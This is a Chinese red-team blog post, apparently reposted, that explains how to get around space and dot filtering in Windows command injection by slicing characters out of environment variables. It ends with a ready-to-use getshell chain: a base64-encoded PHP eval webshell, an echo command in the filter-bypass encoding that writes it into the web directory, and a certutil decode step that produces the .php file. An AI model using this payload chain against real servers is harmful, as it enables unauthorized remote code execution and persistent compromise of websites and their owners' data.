来自红队大佬的经验之谈-命令执行过滤绕过-Windows篇

admin 2024年6月18日10:45:01评论7 views字数 1151阅读3分50秒阅读模式

感谢来自老流氓大佬的投稿,本次文章介绍的是在windows环境下,过滤的“点”和“空格”等符号,导致在写入webshell时会受限。以下是针对该目标的绕过记录。

首先是命令执行和过滤验证,如下图所示,首先执行了一下whoami,可以得知当前系统是windows系统环境:

来自红队大佬的经验之谈-命令执行过滤绕过-Windows篇

执行dir命令,我们可以看到当前系统存在script目录

来自红队大佬的经验之谈-命令执行过滤绕过-Windows篇

但是当我们想要看一下script目录下的内容的时候,我们发现空格被过滤导致命令执行失败了

来自红队大佬的经验之谈-命令执行过滤绕过-Windows篇

尝试使用url编码对空格进行转换,依旧是执行失败

来自红队大佬的经验之谈-命令执行过滤绕过-Windows篇

要正常执行命令和后续Getshell,则需要“.”和“ ”,那被过滤的符号从哪里来。救赎之道,就在其中 The way to salvation lies in it。

方法就是,切割字符串。利用Windows系统特性和变量来获取被过滤的符号,如下图所示,执行set命令可以将我们想要的内容写入到环境变量中,例如本次写入“set test= hello world.12345”

来自红队大佬的经验之谈-命令执行过滤绕过-Windows篇

再次执行set命令,发现写入成功

来自红队大佬的经验之谈-命令执行过滤绕过-Windows篇

然后利用字符串截取,截取到我们需要的空格和点

来自红队大佬的经验之谈-命令执行过滤绕过-Windows篇

当然了,这里为了演示,所以自己写了一个test,实际上在目标系统里都有现成的,我们直接利用就行,直接执行set命令,查看目标系统存在的环境变量,然后找到环境变量里的空格和点

来自红队大佬的经验之谈-命令执行过滤绕过-Windows篇

目标系统的环境变量是符合我们预期的

来自红队大佬的经验之谈-命令执行过滤绕过-Windows篇

将截取出的空格和点放到之前的命令执行中即可,空格“ ”过滤被绕过,如图:

来自红队大佬的经验之谈-命令执行过滤绕过-Windows篇

点“.”过滤被绕过,如下:

查看文件执行失败

来自红队大佬的经验之谈-命令执行过滤绕过-Windows篇

查看文件执行成功

来自红队大佬的经验之谈-命令执行过滤绕过-Windows篇

最终Getshell方法

那我们将免杀的webshell进行base64编码,防止受到其它被过滤符影响,然后echo到web目录,在使用certutil将文件decode解码,即可拿下目标系统。

PD9waHAgZXZhbCgkX1BPU1RbJzIwMjQnXSk7Pz4g是base64后的webshell,然后对被过滤字符进行编码,即如下。

写入:

echo%ProgramW6432:~10,1%PD9waHAgZXZhbCgkX1BPU1RbJzIwMjQnXSk7Pz4g%ProgramW6432:~10,1%>>%ProgramW6432:~10,1%scriptshell%ComSpec:~23,1%txt

解码:

Certutil -decode scriptshell.txt scriptshell.phpCertutil%ProgramW6432:~10,1%-decode%ProgramW6432:~10,1%scriptshell%ComSpec:~23,1%txt%ProgramW6432:~10,1%scriptshell%ComSpec:~23,1%php

原文始发于微信公众号(我不懂安全):来自红队大佬的经验之谈---命令执行过滤绕过-Windows篇

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月18日10:45:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   来自红队大佬的经验之谈-命令执行过滤绕过-Windows篇https://cn-sec.com/archives/2859642.html

发表评论

匿名网友 填写信息